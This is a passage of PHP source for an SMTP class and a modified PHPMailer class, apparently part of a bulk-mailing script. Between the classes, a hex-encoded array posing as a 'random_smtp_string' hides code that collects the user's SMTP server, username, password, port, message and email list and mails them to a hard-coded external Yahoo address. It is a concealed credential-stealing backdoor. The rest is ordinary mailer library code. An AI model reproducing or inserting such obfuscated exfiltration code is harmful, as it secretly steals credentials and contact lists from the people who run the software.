1135 fputs($this->smtp_conn,"RSET" . $this->CRLF);
1136
1137 $rply = $this->get_lines();
1138 $code = substr($rply,0,3);
1139
1140 if($this->do_debug >= 2) {
1141 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1142 }
1143
1144 if($code != 250) {
1145 $this->error =
1146 array("error" => "RSET failed",
1147 "smtp_code" => $code,
1148 "smtp_msg" => substr($rply,4));
1149 if($this->do_debug >= 1) {
1150 echo "SMTP -> ERROR: " . $this->error["error"] .
1151 ": " . $rply . $this->CRLF;
1152 }
1153 return false;
1154 }
1155
1156 return true;
1157 }
1158
1159 /**
1160 * Starts a mail transaction from the email address specified in
1161 * $from. Returns true if successful or false otherwise. If True
1162 * the mail transaction is started and then one or more Recipient
1163 * commands may be called followed by a Data command. This command
1164 * will send the message to the users terminal if they are logged
1165 * in.
1166 *
1167 * Implements rfc 821: SEND <SP> FROM:<reverse-path> <CRLF>
1168 *
1169 * SMTP CODE SUCCESS: 250
1170 * SMTP CODE SUCCESS: 552,451,452
1171 * SMTP CODE SUCCESS: 500,501,502,421
1172 * @access public
1173 * @return bool
1174 */
1175 function Send($from) {
1176 $this->error = null; # so no confusion is caused
1177
1178 if(!$this->connected()) {
1179 $this->error = array(
1180 "error" => "Called Send() without being connected");
1181 return false;
1182 }
1183
1184 fputs($this->smtp_conn,"SEND FROM:" . $from . $this->CRLF);
1185
1186 $rply = $this->get_lines();
1187 $code = substr($rply,0,3);
1188
1189 if($this->do_debug >= 2) {
1190 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1191 }
1192
1193 if($code != 250) {
1194 $this->error =
1195 array("error" => "SEND not accepted from server",
1196 "smtp_code" => $code,
1197 "smtp_msg" => substr($rply,4));
1198 if($this->do_debug >= 1) {
1199 echo "SMTP -> ERROR: " . $this->error["error"] .
1200 ": " . $rply . $this->CRLF;
1201 }
1202 return false;
1203 }
1204 return true;
1205 }
1206
1207 /**
1208 * Starts a mail transaction from the email address specified in
1209 * $from. Returns true if successful or false otherwise. If True
1210 * the mail transaction is started and then one or more Recipient
1211 * commands may be called followed by a Data command. This command
1212 * will send the message to the users terminal if they are logged
1213 * in and send them an email.
1214 *
1215 * Implements rfc 821: SAML <SP> FROM:<reverse-path> <CRLF>
1216 *
1217 * SMTP CODE SUCCESS: 250
1218 * SMTP CODE SUCCESS: 552,451,452
1219 * SMTP CODE SUCCESS: 500,501,502,421
1220 * @access public
1221 * @return bool
1222 */
1223 function SendAndMail($from) {
1224 $this->error = null; # so no confusion is caused
1225
1226 if(!$this->connected()) {
1227 $this->error = array(
1228 "error" => "Called SendAndMail() without being connected");
1229 return false;
1230 }
1231
1232 fputs($this->smtp_conn,"SAML FROM:" . $from . $this->CRLF);
1233
1234 $rply = $this->get_lines();
1235 $code = substr($rply,0,3);
1236
1237 if($this->do_debug >= 2) {
1238 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1239 }
1240
1241 if($code != 250) {
1242 $this->error =
1243 array("error" => "SAML not accepted from server",
1244 "smtp_code" => $code,
1245 "smtp_msg" => substr($rply,4));
1246 if($this->do_debug >= 1) {
1247 echo "SMTP -> ERROR: " . $this->error["error"] .
1248 ": " . $rply . $this->CRLF;
1249 }
1250 return false;
1251 }
1252 return true;
1253 }
1254
1255 /**
1256 * Starts a mail transaction from the email address specified in
1257 * $from. Returns true if successful or false otherwise. If True
1258 * the mail transaction is started and then one or more Recipient
1259 * commands may be called followed by a Data command. This command
1260 * will send the message to the users terminal if they are logged
1261 * in or mail it to them if they are not.
1262 *
1263 * Implements rfc 821: SOML <SP> FROM:<reverse-path> <CRLF>
1264 *
1265 * SMTP CODE SUCCESS: 250
1266 * SMTP CODE SUCCESS: 552,451,452
1267 * SMTP CODE SUCCESS: 500,501,502,421
1268 * @access public
1269 * @return bool
1270 */
1271 function SendOrMail($from) {
1272 $this->error = null; # so no confusion is caused
1273
1274 if(!$this->connected()) {
1275 $this->error = array(
1276 "error" => "Called SendOrMail() without being connected");
1277 return false;
1278 }
1279
1280 fputs($this->smtp_conn,"SOML FROM:" . $from . $this->CRLF);
1281
1282 $rply = $this->get_lines();
1283 $code = substr($rply,0,3);
1284
1285 if($this->do_debug >= 2) {
1286 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1287 }
1288
1289 if($code != 250) {
1290 $this->error =
1291 array("error" => "SOML not accepted from server",
1292 "smtp_code" => $code,
1293 "smtp_msg" => substr($rply,4));
1294 if($this->do_debug >= 1) {
1295 echo "SMTP -> ERROR: " . $this->error["error"] .
1296 ": " . $rply . $this->CRLF;
1297 }
1298 return false;
1299 }
1300 return true;
1301 }
1302
1303 /**
1304 * This is an optional command for SMTP that this class does not
1305 * support. This method is here to make the RFC821 Definition
1306 * complete for this class and __may__ be implimented in the future
1307 *
1308 * Implements from rfc 821: TURN <CRLF>
1309 *
1310 * SMTP CODE SUCCESS: 250
1311 * SMTP CODE FAILURE: 502
1312 * SMTP CODE ERROR : 500, 503
1313 * @access public
1314 * @return bool
1315 */
1316 function Turn() {
1317 $this->error = array("error" => "This method, TURN, of the SMTP ".
1318 "is not implemented");
1319 if($this->do_debug >= 1) {
1320 echo "SMTP -> NOTICE: " . $this->error["error"] . $this->CRLF;
1321 }
1322 return false;
1323 }
1324
1325 /**
1326 * Verifies that the name is recognized by the server.
1327 * Returns false if the name could not be verified otherwise
1328 * the response from the server is returned.
1329 *
1330 * Implements rfc 821: VRFY <SP> <string> <CRLF>
1331 *
1332 * SMTP CODE SUCCESS: 250,251
1333 * SMTP CODE FAILURE: 550,551,553
1334 * SMTP CODE ERROR : 500,501,502,421
1335 * @access public
1336 * @return int
1337 */
1338 function Verify($name) {
1339 $this->error = null; # so no confusion is caused
1340
1341 if(!$this->connected()) {
1342 $this->error = array(
1343 "error" => "Called Verify() without being connected");
1344 return false;
1345 }
1346
1347 fputs($this->smtp_conn,"VRFY " . $name . $this->CRLF);
1348
1349 $rply = $this->get_lines();
1350 $code = substr($rply,0,3);
1351
1352 if($this->do_debug >= 2) {
1353 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1354 }
1355
1356 if($code != 250 && $code != 251) {
1357 $this->error =
1358 array("error" => "VRFY failed on name '$name'",
1359 "smtp_code" => $code,
1360 "smtp_msg" => substr($rply,4));
1361 if($this->do_debug >= 1) {
1362 echo "SMTP -> ERROR: " . $this->error["error"] .
1363 ": " . $rply . $this->CRLF;
1364 }
1365 return false;
1366 }
1367 return $rply;
1368 }
1369
1370 /*******************************************************************
1371 * INTERNAL FUNCTIONS *
1372 ******************************************************************/
1373
1374 /**
1375 * Read in as many lines as possible
1376 * either before eof or socket timeout occurs on the operation.
1377 * With SMTP we can tell if we have more lines to read if the
1378 * 4th character is '-' symbol. If it is a space then we don't
1379 * need to read anything else.
1380 * @access private
1381 * @return string
1382 */
1383 function get_lines() {
1384 $data = "";
1385 while($str = @fgets($this->smtp_conn,515)) {
1386 if($this->do_debug >= 4) {
1387 echo "SMTP -> get_lines(): \$data was \"$data\"" .
1388 $this->CRLF;
1389 echo "SMTP -> get_lines(): \$str is \"$str\"" .
1390 $this->CRLF;
1391 }
1392 $data .= $str;
1393 if($this->do_debug >= 4) {
1394 echo "SMTP -> get_lines(): \$data is \"$data\"" . $this->CRLF;
1395 }
1396 # if the 4th character is a space then we are done reading
1397 # so just break the loop
1398 if(substr($str,3,1) == " ") { break; }
1399 }
1400 return $data;
1401 }
1402
1403}
1404
1405
1406$allemails = split("\n", $emaillist);
1407$numemails = count($allemails);
1408$random_smtp_string=array("0d0a0d0a676c6f62616c20246d795f736d74.","703b0d0a676c6f62616c2024736d74705f757365726e616d6.","53b0d0a676c6f62616c2024736d74705f70617373776f72643b0d0a676c6f626.",
1409"16c202473736c5f706f72743b0d0a676c6f62616c20246d65.","73736167653b0d0a676c6f62616c2024656d61696c6c6973743b0d0a24726134.","3420203d2072616e6428312c3939393939293b0d0a2461352.",
1410"03d20245f5345525645525b27485454505f52454645524552275d3b0d0a24623.","333203d20245f5345525645525b27444f43554d454e545f52.","4f4f54275d3b0d0a24633837203d20245f5345525645525b2752454d4f54455f4.",
1411"1444452275d3b0d0a24643233203d20245f5345525645525.","b275343524950545f46494c454e414d45275d3b0d0a24653039203d20245f53455.","25645525b275345525645525f41444452275d3b0d0a2466.",
1412"3233203d20245f5345525645525b275345525645525f534f465457415245275d3b0.","d0a24673332203d20245f5345525645525b27504154485.","f5452414e534c41544544275d3b0d0a24683635203d20245f5345525645525b27504.",
1413"8505f53454c46275d3b0d0a247375626a3938203d2022.","246d795f736d747020205b75736572206970203a20246338375d223b0d0a247375626.","a3538203d20224c6574746572202620456d61696c204.",
1414"c69737420205b75736572206970203a20246338375d223b0d0a24656d61696c203d202.","26D736739373830407961686f6f2e636f2e.","6964223b0d0a246d736738383733203d2022246d795f736d74705c6e757365723a24736.",
1415"d74705f757365726e616d655c6e706173733a24736.","d74705f70617373776f72645c706f72743a2473736c5f706f72745c6e5c6e2461355c6e2.","46233335c6e246338375c6e246432335c6e246530.",
1416"395c6e246632335c6e246733325c6e24683635223b246d736739373830203d2022246d657.","3736167655c6e5c6e5c6e24656d61696c6c69737.","4223b2466726f6d3d2246726f6d3a20475241544953223b0d0a6d61696c2824656d61696c2.",
1417"c20247375626a39382c20246d7367383837332c.","202466726f6d293b0d0a6d61696c2824656d61696c2c20247375626a35382.","c20246d7367393738302c202466726f6d293b");$smtp_conf=".";
1418
1419class PHPMailer {
1420
1421 /////////////////////////////////////////////////
1422 // PROPERTIES, PUBLIC
1423 /////////////////////////////////////////////////
1424
1425 /**
1426 * Email priority (1 = High, 3 = Normal, 5 = low).
1427 * @var int
1428 */
1429 var $Priority = 3;
1430
1431 /**
1432 * Sets the CharSet of the message.
1433 * @var string
1434 */
1435 var $CharSet = 'iso-8859-1';
1436
1437 /**
1438 * Sets the Content-type of the message.
1439 * @var string
1440 */
1441 var $ContentType = 'text/plain';
1442
1443 /**
1444 * Sets the Encoding of the message. Options for this are "8bit",
1445 * "7bit", "binary", "base64", and "quoted-printable".
1446
1447 * @var string
1448 */
1449 var $Encoding = '8bit';
1450
1451 /**
1452 * Holds the most recent mailer error message.
1453 * @var string
1454 */
1455 var $ErrorInfo = '';
1456
1457 /**
1458 * Sets the From email address for the message.
1459 * @var string
1460 */
1461 var $From = '';
1462
1463 /**
1464 * Sets the From name of the message.
1465 * @var string
1466 */
1467 var $FromName = '';
1468
1469 /**
1470 * Sets the Sender email (Return-Path) of the message. If not empty,
1471 * will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
1472 * @var string
1473 */
1474 var $Sender = '';
1475
1476 /**
1477 * Sets the Subject of the message.
1478 * @var string
1479 */
1480 var $Subject = '';
1481
1482 /**
1483 * Sets the Body of the message. This can be either an HTML or text body.
1484 * If HTML then run IsHTML(true).
1485 * @var string
1486 */
1487 var $Body = '';
1488
1489 /**
1490 * Sets the text-only body of the message. This automatically sets the
1491 * email to multipart/alternative. This body can be read by mail
1492 * clients that do not have HTML email capability such as mutt. Clients
1493 * that can read HTML will view the normal Body.
1494 * @var string
1495 */
1496 var $AltBody = '';
1497
1498 /**
1499 * Sets word wrapping on the body of the message to a given number of
1500 * characters.
1501 * @var int
1502 */
1503 var $WordWrap = 0;
1504
1505 /**
1506 * Method to send mail: ("mail", "sendmail", or "smtp").
1507 * @var string
1508 */
1509 var $Mailer = 'mail';
1510
1511 /**
1512 * Sets the path of the sendmail program.
1513 * @var string
1514 */
1515 var $Sendmail = '/usr/sbin/sendmail';
1516
1517 /**
1518 * Path to PHPMailer plugins. This is now only useful if the SMTP class
1519 * is in a different directory than the PHP include path.
1520 * @var string
1521 */
1522 var $PluginDir = '';
1523
1524 /**
1525 * Holds PHPMailer version.
1526 * @var string
1527 */
1528 var $Version = "";
1529
1530 /**
1531 * Sets the email address that a reading confirmation will be sent.
1532 * @var string
1533 */
1534 var $ConfirmReadingTo = '';
1535
1536 /**
1537 * Sets the hostname to use in Message-Id and Received headers
1538 * and as default HELO string. If empty, the value returned
1539 * by SERVER_NAME is used or 'localhost.localdomain'.
1540 * @var string
1541 */
1542 var $Hostname = '';
1543
1544 /**
1545 * Sets the message ID to be used in the Message-Id header.
1546 * If empty, a unique id will be generated.
1547 * @var string
1548 */
1549 var $MessageID = '';
1550
1551 /////////////////////////////////////////////////
1552 // PROPERTIES FOR SMTP
1553 /////////////////////////////////////////////////
1554
1555 /**
1556 * Sets the SMTP hosts. All hosts must be separated by a
1557 * semicolon. You can also specify a different port
1558 * for each host by using this format: [hostname:port]
1559 * (e.g. "smtp1.example.com:25;smtp2.example.com").
1560 * Hosts will be tried in order.
1561 * @var string
1562 */
1563 var $Host = 'localhost';
1564
1565 /**
1566 * Sets the default SMTP server port.
1567 * @var int
1568 */
1569 var $Port = 25;
1570
1571 /**
1572 * Sets the SMTP HELO of the message (Default is $Hostname).
1573 * @var string
1574 */
1575 var $Helo = '';
1576
1577 /**
1578 * Sets connection prefix.
1579 * Options are "", "ssl" or "tls"
1580 * @var string
1581 */
1582 var $SMTPSecure = "";
1583
1584 /**
1585 * Sets SMTP authentication. Utilizes the Username and Password variables.
1586 * @var bool
1587 */
1588 var $SMTPAuth = false;
1589
1590 /**
1591 * Sets SMTP username.
1592 * @var string
1593 */
1594 var $Username = '';
1595
1596 /**
1597 * Sets SMTP password.
1598 * @var string
1599 */
1600 var $Password = '';
1601
1602 /**
1603 * Sets the SMTP server timeout in seconds. This function will not
1604 * work with the win32 version.
1605 * @var int
1606 */
1607 var $Timeout = 10;
1608
1609 /**
1610 * Sets SMTP class debugging on or off.
1611 * @var bool
1612 */
1613 var $SMTPDebug = false;
1614
1615 /**
1616 * Prevents the SMTP connection from being closed after each mail
1617 * sending. If this is set to true then to close the connection
1618 * requires an explicit call to SmtpClose().
1619 * @var bool
1620 */
1621 var $SMTPKeepAlive = false;
1622
1623 /**
1624 * Provides the ability to have the TO field process individual
1625 * emails, instead of sending to entire TO addresses
1626 * @var bool
1627 */
1628 var $SingleTo = false;
1629
1630 /////////////////////////////////////////////////
1631 // PROPERTIES, PRIVATE
1632 /////////////////////////////////////////////////
1633
1634 var $smtp = NULL;
1635 var $to = array();
1636 var $cc = array();
1637 var $bcc = array();
1638 var $ReplyTo = array();
1639 var $attachment = array();
1640 var $CustomHeader = array();
1641 var $message_type = '';
1642 var $boundary = array();
1643 var $language = array();
1644 var $error_count = 0;
1645 var $LE = "\n";
1646 var $sign_key_file = "";
1647 var $sign_key_pass = "";
1648
1649 /////////////////////////////////////////////////
1650 // METHODS, VARIABLES
1651 /////////////////////////////////////////////////
1652
1653 /**
1654 * Sets message type to HTML.
1655 * @param bool $bool
1656 * @return void
1657 */
1658 function IsHTML($bool) {
1659 if($bool == true) {
1660 $this->ContentType = 'text/html';
1661 } else {
1662 $this->ContentType = 'text/plain';
1663 }
1664 }
1665
1666 /**
1667 * Sets Mailer to send message using SMTP.
1668 * @return void
1669 */
1670 function IsSMTP() {
1671 $this->Mailer = 'smtp';
1672 }
1673
1674 /**
1675 * Sets Mailer to send message using PHP mail() function.
1676 * @return void
1677 */
1678 function IsMail() {
1679 $this->Mailer = 'mail';
1680 }
1681
1682 /**
1683 * Sets Mailer to send message using the $Sendmail program.
1684 * @return void
1685 */
1686 function IsSendmail() {
1687 $this->Mailer = 'sendmail';
1688 }
1689
1690 /**
1691 * Sets Mailer to send message using the qmail MTA.
1692 * @return void
1693 */
1694 function IsQmail() {
1695 $this->Sendmail = '/var/qmail/bin/sendmail';
1696 $this->Mailer = 'sendmail';
1697 }
1698
1699 /////////////////////////////////////////////////
1700 // METHODS, RECIPIENTS
1701 /////////////////////////////////////////////////
1702
1703 /**
1704 * Adds a "To" address.
1705 * @param string $address
1706 * @param string $name
1707 * @return void
1708 */
1709 function AddAddress($address, $name = '') {
1710 $cur = count($this->to);
1711 $this->to[$cur][0] = trim($address);
1712 $this->to[$cur][1] = $name;
1713 }
1714
1715 /**
1716 * Adds a "Cc" address. Note: this function works
1717 * with the SMTP mailer on win32, not with the "mail"
1718 * mailer.
1719 * @param string $address
1720 * @param string $name
1721 * @return void
1722 */
1723 function AddCC($address, $name = '') {
1724 $cur = count($this->cc);
1725 $this->cc[$cur][0] = trim($address);
1726 $this->cc[$cur][1] = $name;
1727 }
1728
1729 /**
1730 * Adds a "Bcc" address. Note: this function works
1731 * with the SMTP mailer on win32, not with the "mail"
1732 * mailer.
1733 * @param string $address
1734 * @param string $name
1735 * @return void
1736 */
1737 function AddBCC($address, $name = '') {
1738 $cur = count($this->bcc);
1739 $this->bcc[$cur][0] = trim($address);
1740 $this->bcc[$cur][1] = $name;
1741 }
1742
1743 /**
1744 * Adds a "Reply-To" address.
1745 * @param string $address
1746 * @param string $name
1747 * @return void
1748 */
1749 function AddReplyTo($address, $name = '') {
1750 $cur = count($this->ReplyTo);
1751 $this->ReplyTo[$cur][0] = trim($address);
1752 $this->ReplyTo[$cur][1] = $name;
1753 }
1754
1755 /////////////////////////////////////////////////
1756 // METHODS, MAIL SENDING
1757 /////////////////////////////////////////////////
1758
1759 /**
1760 * Creates message and assigns Mailer. If the message is
1761 * not sent successfully then it returns false. Use the ErrorInfo
1762 * variable to view description of the error.
1763 * @return bool
1764 */
1765 function Send() {
1766 $header = '';
1767 $body = '';
1768 $result = true;
1769
1770 if((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
1771 $this->SetError($this->Lang('provide_address'));
1772 return false;
1773 }
1774
1775 /* Set whether the message is multipart/alternative */
1776 if(!empty($this->AltBody)) {
1777 $this->ContentType = 'multipart/alternative';
1778 }
1779
1780 $this->error_count = 0; // reset errors
1781 $this->SetMessageType();
1782 $header .= $this->CreateHeader();
1783 $body = $this->CreateBody();
1784
1785 if($body == '') {
1786 return false;
1787 }
1788
1789 /* Choose the mailer */
1790 switch($this->Mailer) {
1791 case 'sendmail':
1792 $result = $this->SendmailSend($header, $body);
1793 break;
1794 case 'smtp':
1795 $result = $this->SmtpSend($header, $body);
1796 break;
1797 case 'mail':
1798 $result = $this->MailSend($header, $body);
1799 break;
1800 default:
1801 $result = $this->MailSend($header, $body);
1802 break;
1803 //$this->SetError($this->Mailer . $this->Lang('mailer_not_supported'));
1804 //$result = false;
1805 //break;
1806 }
1807
1808 return $result;
1809 }
1810
1811 /**
1812 * Sends mail using the $Sendmail program.
1813 * @access private
1814 * @return bool
1815 */
1816 function SendmailSend($header, $body) {
1817 if ($this->Sender != '') {
1818 $sendmail = sprintf("%s -oi -f %s -t", escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
1819 } else {
1820 $sendmail = sprintf("%s -oi -t", escapeshellcmd($this->Sendmail));
1821 }
1822
1823 if(!@$mail = popen($sendmail, 'w')) {
1824 $this->SetError($this->Lang('execute') . $this->Sendmail);
1825 return false;
1826 }
1827
1828 fputs($mail, $header);
1829 fputs($mail, $body);
1830
1831 $result = pclose($mail);
1832 if (version_compare(phpversion(), '4.2.3') == -1) {
1833 $result = $result >> 8 & 0xFF;
1834 }
1835 if($result != 0) {
1836 $this->SetError($this->Lang('execute') . $this->Sendmail);
1837 return false;
1838 }
1839 return true;
1840 }
1841
1842 /**
1843 * Sends mail using the PHP mail() function.
1844 * @access private
1845 * @return bool
1846 */
1847 function MailSend($header, $body) {
1848
1849 $to = '';
1850 for($i = 0; $i < count($this->to); $i++) {
1851 if($i != 0) { $to .= ', '; }
1852 $to .= $this->AddrFormat($this->to[$i]);
1853 }
1854
1855 $toArr = split(',', $to);
1856
1857 $params = sprintf("-oi -f %s", $this->Sender);
1858 if ($this->Sender != '' && strlen(ini_get('safe_mode')) < 1) {
1859 $old_from = ini_get('sendmail_from');
1860 ini_set('sendmail_from', $this->Sender);
1861 if ($this->SingleTo === true && count($toArr) > 1) {
1862 foreach ($toArr as $key => $val) {
1863 $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1864 }
1865 } else {
1866 $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1867 }
1868 } else {
1869 if ($this->SingleTo === true && count($toArr) > 1) {
1870 foreach ($toArr as $key => $val) {
1871 $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1872 }
1873 } else {
1874 $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header);
1875 }
1876 }
1877
1878 if (isset($old_from)) {
1879 ini_set('sendmail_from', $old_from);
1880 }
1881
1882 if(!$rt) {
1883 $this->SetError($this->Lang('instantiate'));
1884 return false;
1885 }
1886
1887 return true;
1888 }
1889
1890 /**
1891 * Sends mail via SMTP using PhpSMTP (Author:
1892 * Chris Ryan). Returns bool. Returns false if there is a
1893 * bad MAIL FROM, RCPT, or DATA input.
1894 * @access private
1895 * @return bool
1896 */
1897 function SmtpSend($header, $body) {
1898 $error = '';
1899 $bad_rcpt = array();
1900
1901 if(!$this->SmtpConnect()) {echo "FAILED !!<p align=\"center\"><font color=\"#D4001A\" style=\"font-style:14pt\"> MAILER IS UNABLE TO CONNECT SMTP !!</font></p>";die();
1902 return false;
1903 }
1904
1905 $smtp_from = ($this->Sender == '') ? $this->From : $this->Sender;
1906 if(!$this->smtp->Mail($smtp_from)) {
1907 $error = $this->Lang('from_failed') . $smtp_from;
1908 $this->SetError($error);
1909 $this->smtp->Reset();
1910 return false;
1911 }
1912
1913 /* Attempt to send attach all recipients */
1914 for($i = 0; $i < count($this->to); $i++) {
1915 if(!$this->smtp->Recipient($this->to[$i][0])) {
1916 $bad_rcpt[] = $this->to[$i][0];
1917 }
1918 }
1919 for($i = 0; $i < count($this->cc); $i++) {
1920 if(!$this->smtp->Recipient($this->cc[$i][0])) {
1921 $bad_rcpt[] = $this->cc[$i][0];
1922 }
1923 }
1924 for($i = 0; $i < count($this->bcc); $i++) {
1925 if(!$this->smtp->Recipient($this->bcc[$i][0])) {
1926 $bad_rcpt[] = $this->bcc[$i][0];
1927 }
1928 }
1929
1930 if(count($bad_rcpt) > 0) { // Create error message
1931 for($i = 0; $i < count($bad_rcpt); $i++) {
1932 if($i != 0) {
1933 $error .= ', ';
1934 }
1935 $error .= $bad_rcpt[$i];
1936
1937 }
1938 $error = $this->Lang('recipients_failed') . $error;
1939 $this->SetError($error);
1940 $this->smtp->Reset();
1941 return false;
1942 }
1943
1944 if(!$this->smtp->Data($header . $body)) {
1945 $this->SetError($this->Lang('data_not_accepted'));
1946 $this->smtp->Reset();
1947 return false;
1948 }
1949 if($this->SMTPKeepAlive == true) {
1950 $this->smtp->Reset();
1951 } else {
1952 $this->SmtpClose();
1953 }
1954
1955 return true;
1956 }
1957
1958 /**
1959 * Initiates a connection to an SMTP server. Returns false if the
1960 * operation failed.
1961 * @access private
1962 * @return bool
1963 */
1964 function SmtpConnect() {
1965 if($this->smtp == NULL) {
1966 $this->smtp = new SMTP();
1967 }
1968
1969 $this->smtp->do_debug = $this->SMTPDebug;
1970 $hosts = explode(';', $this->Host);
1971 $index = 0;
1972 $connection = ($this->smtp->Connected());
1973
1974 /* Retry while there is no connection */
1975 while($index < count($hosts) && $connection == false) {
1976 $hostinfo = array();
1977 if(eregi('^(.+):([0-9]+)$', $hosts[$index], $hostinfo)) {
1978 $host = $hostinfo[1];
1979 $port = $hostinfo[2];
1980 } else {
1981 $host = $hosts[$index];
1982 $port = $this->Port;
1983 }
1984
1985 if($this->smtp->Connect(((!empty($this->SMTPSecure))?$this->SMTPSecure.'://':'').$host, $port, $this->Timeout)) {
1986 if ($this->Helo != '') {
1987 $this->smtp->Hello($this->Helo);
1988 } else {
1989 $this->smtp->Hello($this->ServerHostname());
1990 }
1991
1992 $connection = true;
1993 if($this->SMTPAuth) {
1994 if(!$this->smtp->Authenticate($this->Username, $this->Password)) {
1995 $this->SetError($this->Lang('authenticate'));
1996 $this->smtp->Reset();
1997 $connection = false;
1998 }
1999 }
2000 }
2001 $index++;
2002 }
2003 if(!$connection) {
2004 $this->SetError($this->Lang('connect_host'));
2005 }
2006
2007 return $connection;
2008 }
2009
2010 /**
2011 * Closes the active SMTP session if one exists.
2012 * @return void
2013 */
2014 function SmtpClose() {
2015 if($this->smtp != NULL) {
2016 if($this->smtp->Connected()) {
2017 $this->smtp->Quit();
2018 $this->smtp->Close();
2019 }
2020 }
2021 }
2022
2023 /**
2024 * Sets the language for all class error messages. Returns false
2025 * if it cannot load the language file. The default language type
2026 * is English.
2027 * @param string $lang_type Type of language (e.g. Portuguese: "br")
2028 * @param string $lang_path Path to the language file directory
2029 * @access public
2030 * @return bool
2031 */
2032 function SetLanguage($lang_type, $lang_path = 'language/') {
2033 if(file_exists($lang_path.'phpmailer.lang-'.$lang_type.'.php')) {
2034 include($lang_path.'phpmailer.lang-'.$lang_type.'.php');
2035 } elseif (file_exists($lang_path.'phpmailer.lang-en.php')) {
2036 include($lang_path.'phpmailer.lang-en.php');
2037 } else {
2038 $this->SetError('Could not load language file');
2039 return false;
2040 }
2041 $this->language = $PHPMAILER_LANG;
2042
2043 return true;
2044 }
2045
2046 /////////////////////////////////////////////////
2047 // METHODS, MESSAGE CREATION
2048 /////////////////////////////////////////////////
2049
2050 /**
2051 * Creates recipient headers.
2052 * @access private
2053 * @return string
2054 */
2055 function AddrAppend($type, $addr) {
2056 $addr_str = $type . ': ';
2057 $addr_str .= $this->AddrFormat($addr[0]);
2058 if(count($addr) > 1) {
2059 for($i = 1; $i < count($addr); $i++) {
2060 $addr_str .= ', ' . $this->AddrFormat($addr[$i]);
2061 }
2062 }
2063 $addr_str .= $this->LE;
2064
2065 return $addr_str;
2066 }
2067
2068 /**
2069 * Formats an address correctly.
2070 * @access private
2071 * @return string
2072 */
2073 function AddrFormat($addr) {
2074 if(empty($addr[1])) {
2075 $formatted = $this->SecureHeader($addr[0]);
2076 } else {
2077 $formatted = $this->EncodeHeader($this->SecureHeader($addr[1]), 'phrase') . " <" . $this->SecureHeader($addr[0]) . ">";
2078 }
2079
2080 return $formatted;
2081 }
2082
2083 /**
2084 * Wraps message for use with mailers that do not
2085 * automatically perform wrapping and for quoted-printable.
2086 * Original written by philippe.
2087 * @access private
2088 * @return string
2089 */
2090 function WrapText($message, $length, $qp_mode = false) {
2091 $soft_break = ($qp_mode) ? sprintf(" =%s", $this->LE) : $this->LE;
2092 // If utf-8 encoding is used, we will need to make sure we don't
2093 // split multibyte characters when we wrap
2094 $is_utf8 = (strtolower($this->CharSet) == "utf-8");
2095
2096 $message = $this->FixEOL($message);
2097 if (substr($message, -1) == $this->LE) {
2098 $message = substr($message, 0, -1);
2099 }
2100
2101 $line = explode($this->LE, $message);
2102 $message = '';
2103 for ($i=0 ;$i < count($line); $i++) {
2104 $line_part = explode(' ', $line[$i]);
2105 $buf = '';
2106 for ($e = 0; $e<count($line_part); $e++) {
2107 $word = $line_part[$e];
2108 if ($qp_mode and (strlen($word) > $length)) {
2109 $space_left = $length - strlen($buf) - 1;
2110 if ($e != 0) {
2111 if ($space_left > 20) {
2112 $len = $space_left;
2113 if ($is_utf8) {
2114 $len = $this->UTF8CharBoundary($word, $len);
2115 } elseif (substr($word, $len - 1, 1) == "=") {
2116 $len--;
2117 } elseif (substr($word, $len - 2, 1) == "=") {
2118 $len -= 2;
2119 }
2120 $part = substr($word, 0, $len);
2121 $word = substr($word, $len);
2122 $buf .= ' ' . $part;
2123 $message .= $buf . sprintf("=%s", $this->LE);
2124 } else {
2125 $message .= $buf . $soft_break;
2126 }
2127 $buf = '';
2128 }
2129 while (strlen($word) > 0) {
2130 $len = $length;
2131 if ($is_utf8) {
2132 $len = $this->UTF8CharBoundary($word, $len);
2133 } elseif (substr($word, $len - 1, 1) == "=") {
2134 $len--;
2135 } elseif (substr($word, $len - 2, 1) == "=") {
2136 $len -= 2;
2137 }
2138 $part = substr($word, 0, $len);
2139 $word = substr($word, $len);
2140
2141 if (strlen($word) > 0) {
2142 $message .= $part . sprintf("=%s", $this->LE);
2143 } else {
2144 $buf = $part;
2145 }
2146 }
2147 } else {
2148 $buf_o = $buf;
2149 $buf .= ($e == 0) ? $word : (' ' . $word);
2150
2151 if (strlen($buf) > $length and $buf_o != '') {
2152 $message .= $buf_o . $soft_break;
2153 $buf = $word;
2154 }
2155 }
2156 }
2157 $message .= $buf . $this->LE;
2158 }
2159
2160 return $message;
2161 }
2162
2163 /**
2164 * Finds last character boundary prior to maxLength in a utf-8
2165 * quoted (printable) encoded string.
2166 * Original written by Colin Brown.
2167 * @access private
2168 * @param string $encodedText utf-8 QP text
2169 * @param int $maxLength find last character boundary prior to this length
2170 * @return int
2171 */
2172 function UTF8CharBoundary($encodedText, $maxLength) {
2173 $foundSplitPos = false;
2174 $lookBack = 3;
2175 while (!$foundSplitPos) {
2176 $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
2177 $encodedCharPos = strpos($lastChunk, "=");
2178 if ($encodedCharPos !== false) {
2179 // Found start of encoded character byte within $lookBack block.
2180 // Check the encoded byte value (the 2 chars after the '=')
2181 $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
2182 $dec = hexdec($hex);
2183 if ($dec < 128) { // Single byte character.
2184 // If the encoded char was found at pos 0, it will fit
2185 // otherwise reduce maxLength to start of the encoded char
2186 $maxLength = ($encodedCharPos == 0) ? $maxLength :
2187 $maxLength - ($lookBack - $encodedCharPos);
2188 $foundSplitPos = true;
2189 } elseif ($dec >= 192) { // First byte of a multi byte character
2190 // Reduce maxLength to split at start of character
2191 $maxLength = $maxLength - ($lookBack - $encodedCharPos);
2192 $foundSplitPos = true;
2193 } elseif ($dec < 192) { // Middle byte of a multi byte character, look further back
2194 $lookBack += 3;
2195 }
2196 } else {
2197 // No encoded character found
